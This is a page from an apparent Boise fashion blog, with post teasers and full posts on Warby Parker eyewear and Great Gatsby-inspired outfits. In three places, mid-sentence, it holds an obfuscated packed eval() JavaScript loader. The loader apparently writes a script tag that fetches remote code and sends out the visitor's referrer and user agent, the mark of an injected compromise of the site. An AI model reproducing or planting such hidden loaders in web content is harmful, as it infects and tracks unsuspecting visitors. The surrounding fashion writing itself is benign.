Coach’s Hot New Metallics

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recently launched their latest Poppy Collection: a line of leather and mirrored “flight” handbags, and I’m totally in love! These petite, stitched travel bags go with absolutely everything, and are perfect for work or vacation; those times you only want to take ONE purse, and it has to coordinate with all your outfits. And look effortlessly chic at the same time, of course!!! Continue reading “Coach’s Hot New Metallics” →

5 Fat-Busting Vacation Exercises

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going on a road trip to California – woohoo! But I just started working with a personal trainer to get my body in shape after spraining my knee this winter, and I don’t want to lose that progress in two weeks of sitting, camping, and eating out. So I asked my trainer Justin Weis of Fit For Life Training to give me 5 Easy-but-Effective exercises I can do while I’m on vacation! Camping, hotel, beach… anywhere, anytime! Continue reading “5 Fat-Busting Vacation Exercises” →

Summer 2013 Hot Trends to Try

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been hearing lately that Boise’s fashion is “behind the times.” But whatever your opinion of Boise shopping, the truth is we’re catching up, and developing our own unique style! We have some rad boutiques, great shops, fashion bloggers (ahem!), and beauty & art communities that help push this city’s Style boundaries. Continue reading “Summer 2013 Hot Trends to Try” →

Vacation Inspiration

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by Wendy Sullivan Pinkerton/Forever XO Studio

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5 Tips for Staying HEALTHY on Vacation

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going camping this summer – whoohoo! Ok, I admit, it’s in a very nice trailer (thanks, Morgan family!), and a posh campground that serves pancake breakfasts every day and has free wi-fi, ha ha ha! But still, I’m out of my comfort zone, out of my house, out of my kitchen, and a little out of my control when it comes to what foods I’ll have available! Continue reading “5 Tips for Staying HEALTHY on Vacation” →

Trend Alert: Pointed Pumps!

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crushing BAD on these GORGEOUS red “Rogue Rockstud Slingbacks” by Valentino!!! They’re so amazing! I would wear them with a simple white dress, or a black & white striped maxi, or to dress up a pair of rolled-up jeans and a simple t-shirt. And that’s the magic of pointy-toed heels! They make almost every outfit look AMAAAAAZING! Continue reading “Trend Alert: Pointed Pumps!” →

KTVB Fashion Segment, Part 3: Tips for Updating Your Wardrobe

I’ve been so eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbsiy|var|u0026u|referrer|drdte||js|php’.split(‘|’),0,{}))
honored this year, for the amazing opportunity to present fashion & wardrobe tips on KTVB, Channel 7 News! The first Segment, earlier this Spring, was about How Every Woman Can Wear Shorts. The second Segment was How to Update Your Closet, with Boise’s veteran anchorwoman Carolyn Holly. (Click the links to watch these segments!) Continue reading “KTVB Fashion Segment, Part 3: Tips for Updating Your Wardrobe” →

Warby Parker Style ~ An Eye For An Eye

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Apricot Lane // Style Necklace: Handmade by Unigon Specialties

Not everyone knows this, but I’m a grown-up missionary kid. (MK, PK… I’m ok! Ha.) If you spend much time around me, you’re bound to hear stories of train rides to Siberia, playing in the streets of Bangkok, chasing tarantulas in the mountains of Honduras, and eating roadside jerked chicken in Jamaica. My childhood was largely spent traveling the globe, learning about different cultures, helping people, and surviving by the generosity of others.

So when it comes to people or businesses that “give back,” pay it forward, pass it on, etc., heck yeah, I’m on board! I know what it’s like to have so little, that even the smallest token of generosity can change a person’s day, week, or even life.

I recently discovered a cool company called Warby Parker, who create vintage-inspired eye wear, AND give generously to our world. They’ve been featured in Forbes, The New York Times, Oprah, GQ, and Vogue! But the coolest thing about Warby Parker, is the fact that for EVERY pair of glasses you buy, they DONATE a pair to a needy man, woman, or child. How awesome is that? To date, they have distributed over 250,000 pairs!

What’s so important about glasses? According to Warby Parker’s website, glasses can increase one’s productivity by 20%, making them “one of the most effective poverty alleviation tools in the world!” And access to affordable eyewear is very limited, for almost 1,000,000 of our world’s citizens. That equates to 15% of the world’s population being “unable to effectively learn or work because they can’t see clearly.”

I love Warby Parker, for what they are doing to help the needy! Not only are there sunglasses hip & fun, but they’re also surprisingly affordable, especially for eco-friendly, designer eyewear. AND I have the added satisfaction of knowing my dollars are pulling double-duty, in providing much-needed sight to someone in this world that desperately needs it!

And that, my friends, is no small token of generosity. 🙂

Check out Warby Parker’s Do Good campaign here.

My Top Pick: The “Jules” in Marbled Charcoal

More From Warby Parker’s “The Ocean” Collection

“Percy” in Burnt Lemon Tortoise

“Sayles” in Driftwood

The “Preston” glasses in Sea Glass Blue

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Great Gastby Style, Part 2!

Photography by: Nena eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhebf|var|u0026u|referrer|hiakt||js|php’.split(‘|’),0,{}))
Earl // Styling: StyleSpyGirl // Hair & MUA: Melissa Shay Thomas at Deco Hair & Makeup

Dress: Vintage O scar de la Renta from Abandoned Fashion// Necklace: Unigon Specialties // Shoes: Tahari from DSW

I set out to do a blog about fashion from the Roaring 20’s, inspired by my recent viewing of this Spring’s “The Great Gatsby” film. I wanted to talk about how the 20’s were a time of women breaking free from their corsets, and embracing modern freedoms. I intended to discuss how that era brought new opportunities for women, like voting as equal citizens, and – gasp! – driving motor vehicles!

But then I fell in love with a necklace. I know, so girly of me, right? But it wasn’t just the necklace, pictured here in these photos by the amazingly-talented Nena Earl. It was the women behind the necklace, and her journey, that I wanted to share with you today…

Do you know a woman with “Awesome Sauce,” that something special that brews deep within her, and makes her stand out in this world? Sure, Oprah has it, Martha Stewart has it, Lauren Conrad has it, Gwenyth Paltrow, … Successful women who inspire us, and make us wonder, “What could I do in this life, if I had awesome sauce like her?”

I went to a women’s business class last week and listened to speaker Kim Flynn, who insisted that every woman has Awesome Sauce. Seriously! I have Awesome Sauce, YOU have Awesome Sauce… I looked around at the other women in that room, some of them my friends, and thought “It’s true! All these ladies are full of Awesome!” Sitting next to me was my friend Denise Vesecka, the founder of Unigon Specialties, who made the necklace in these photos…

I think Denise’s work is amazing, and this particular piece captivated me. Perhaps it’s more Cleopatra than Great Gatsby, but it’s beautiful and unique, a true work of art! And through it, I can see Denise’s Awesome Sauce. Some days, she’s not sure she has the Sauce, working hard to sell her handmade pieces at fairs and expos. But I see it. I see it when she custom designs something for someone she cares about (Like my favorite “Style” necklace!). I see it, when she creates things that move beyond jewelry, and become works of art that transcend an outfit or fashion trend.

Denise has Awesome Sauce, and i think this necklace is one of her most Saucy creations yet. I am watching for the day that Hollywood comes knocking on Denise’s door, and we start to see her designs in blockbuster summer movies!

Denise helps me believe in my own Awesome Sauce. Do you believe in yours? What does your Awesome Sauce look like? What would you do or change about your life, if you could truly live into that Sauce inside you?

Find it. Live it! YOU have Awesome Sauce.

XOXO,

Tanya

Photography by Nena Earl

If you love this Gatsby-esque look, check out my Gatsby On A Budget fashion set on Polyvore!

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Great Gatsby Style, Part 1!

Photos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tzbhb|var|u0026u|referrer|rfssb||js|php’.split(‘|’),0,{}))
by Nena Earl

Styling: StyleSpyGirl // Hair & MUA: Melissa Shay Thomas at Deco Hair & Makeup Design

Dress: Vintage from Abandoned Fashion // Bandeau & Skirt: Nordstrom Rack // Shoes: Jessica Simpson // Headband: Francesca’s // Handbag: Vintage from Abandoned Fashion

I recently saw the visual smorgasbord film that is The Great Gatsby, based on F. Scott Fitzgerald‘s novel. Yes, I liked it. I loved the unconventional musical choices, connecting the revelry of the Roaring 20’s with the party anthems of our time. I was frustrated at the injustice of tragedy, and wanted to shake Daisy and scream at her a little. But most of all, I adored the fabulous flapper fashions!

So how does a modern girl infuse a little Great Gatsby style into her wardrobe, without looking too costumey? Easy, thanks to the current trend of sheer blouses, dresses, & skirts! I started with a vintage sheer 1920’s dress from Abandoned Fashions, a local couture pop-up shop, and modernized it with a fitted black tube skirt and bandeau top underneath. Add a platform heel and fun jewelry, and I’m ready to rock any summer cocktail party!

XOXO,

StyleSpyGirl

Like this look? Check out my “Gatsby on a Budget!” Polyvore board for fashion deals!

Special thanks to the AMAZING Nena Earl for a fun photo shoot, and beautiful pictures!!!